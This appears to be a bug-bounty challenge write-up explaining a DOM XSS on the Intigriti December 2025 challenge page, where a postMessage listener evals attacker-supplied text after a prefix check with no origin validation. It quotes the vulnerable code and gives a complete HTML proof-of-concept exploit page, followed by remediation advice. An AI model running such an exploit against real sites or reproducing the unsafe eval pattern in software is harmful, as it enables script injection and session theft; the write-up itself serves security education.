610 words
3 minutes
Intigriti December 2025 Challenge: Unsafe postMessage + eval() XSS

Challenge: Intigriti December 2025 (Challenge 1225)
Code: INTIGRITI-3MQQN6MY
Asset: https://challenge-1225.intigriti.io
Vulnerability: Reflected / DOM-based XSS via postMessage
Severity: Medium (Informative)
Status: Archived / Informative


Summary#

The challenge page contained an unsafe postMessage event listener that executed attacker-controlled JavaScript using eval() after a simple string prefix check.

Key issues:

  • No event.origin validation (messages accepted from any origin)
  • Use of eval() on unsanitized input
  • A predictable 48-character prefix was the only gate before code execution

This allowed arbitrary JavaScript execution in the context of challenge-1225.intigriti.io with a single click (popup + postMessage).


In Simple Terms#

  1. The page listened for messages from any website.
  2. If the message started with a specific 48-character code, the rest of the message was passed directly to eval().
  3. An attacker could open the challenge page from their own site and send a message that starts with the magic code + malicious JavaScript.
  4. The JavaScript runs in the challenge domain — classic cross-origin DOM XSS via postMessage.

Vulnerability Details#

Vulnerable Code#

// main/views/challenge.ejs (approx. lines 114-118)
const messageListener = (event) => {
if (typeof event.data === 'string' &&
event.data.substring(0, 48) === code) {
eval(event.data.substring(48)); // ← Dangerous
}
};
window.addEventListener('message', messageListener);

Problems:

  • event.origin is never checked.
  • eval() is used on data that can come from any origin.
  • The only protection is a client-side prefix that is easily discoverable in the page source.

Root Cause#

The developer likely intended this as an internal communication channel (perhaps for a parent frame or same-origin widget) but:

  1. Forgot to validate the message origin.
  2. Used eval() instead of a safe message handler (e.g., JSON.parse + action dispatch).

Proof of Concept#

Step-by-Step#

  1. Open the challenge:

    https://challenge-1225.intigriti.io/challenge#PerfectlyBalanced
  2. View source and extract the 48-character code value:

    const code = encodeURIComponent('a1b2c3d4e5f6...'); // 48 chars
  3. Create an exploit page on an attacker-controlled domain and send:

    targetWindow.postMessage(code + "alert(document.domain)", '*');

Full Exploit (Self-Contained PoC)#

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Intigriti postMessage XSS PoC</title>
</head>
<body>
<h2>Intigriti December 2025 - postMessage XSS</h2>
<label>48-Character Code (from page source):</label><br>
<input id="code" style="width:100%" maxlength="48"><br><br>
<label>Payload:</label><br>
<textarea id="payload" style="width:100%" rows="2">alert('XSS on ' + document.domain)</textarea><br><br>
<button onclick="exploit()">Send postMessage</button>
<div id="log"></div>
<script>
function log(msg) {
document.getElementById('log').innerHTML += msg + '<br>';
}
function exploit() {
const code = document.getElementById('code').value.trim();
const payload = document.getElementById('payload').value;
if (code.length !== 48) {
alert('Code must be exactly 48 characters');
return;
}
log('Opening challenge window...');
const win = window.open(
'https://challenge-1225.intigriti.io/challenge#PerfectlyBalanced',
'challenge'
);
if (!win) {
alert('Popup blocked. Allow popups and retry.');
return;
}
setTimeout(() => {
const full = code + payload;
win.postMessage(full, '*');
log('postMessage sent to challenge window.');
}, 2500);
}
</script>
</body>
</html>

Result: alert() (or any JavaScript) executes in the context of the challenge domain.


Impact#

  • Arbitrary JavaScript execution on challenge-1225.intigriti.io
  • Potential to steal cookies, tokens, or perform actions in the victim’s session
  • Classic postMessage + eval anti-pattern

Even though the challenge was marked “Informative”, this is a real and dangerous pattern that appears in production applications when developers use postMessage for cross-frame communication without proper safeguards.


Remediation#

1. Always validate the origin#

const messageListener = (event) => {
if (event.origin !== 'https://challenge-1225.intigriti.io') {
return; // Reject messages from untrusted origins
}
// ... safe handling
};

2. Never use eval() on message data#

Instead of eval(), use a safe dispatcher:

const messageListener = (event) => {
if (event.origin !== 'https://trusted-origin.com') return;
let data;
try {
data = JSON.parse(event.data);
} catch (e) {
return;
}
if (data.action === 'updateTheme') {
applyTheme(data.theme);
}
};

3. Use a strict whitelist of allowed actions#

Never allow arbitrary code execution. Define a small set of permitted message types and validate both the structure and values.

4. Consider using window.postMessage with structured data and targetOrigin#

When sending messages, always specify the exact targetOrigin instead of '*'.


Conclusion#

This challenge highlighted two very common (and very dangerous) mistakes when working with postMessage:

  • Trusting messages without verifying their origin
  • Passing untrusted data into powerful functions like eval()

A single missing origin check turned an intended internal feature into a reliable cross-origin XSS vector.

Challenge Link: https://challenge-1225.intigriti.io/challenge#PerfectlyBalanced


Reported on Intigriti as part of the December 2025 challenge (INTIGRITI-3MQQN6MY).

Intigriti December 2025 Challenge: Unsafe postMessage + eval() XSS
https://blogs.hacck3y.me/posts/intigriti-dec2025-postmessage-xss/
Author
hacck3y
Published at
2026-02-01
License
CC BY-NC-SA 4.0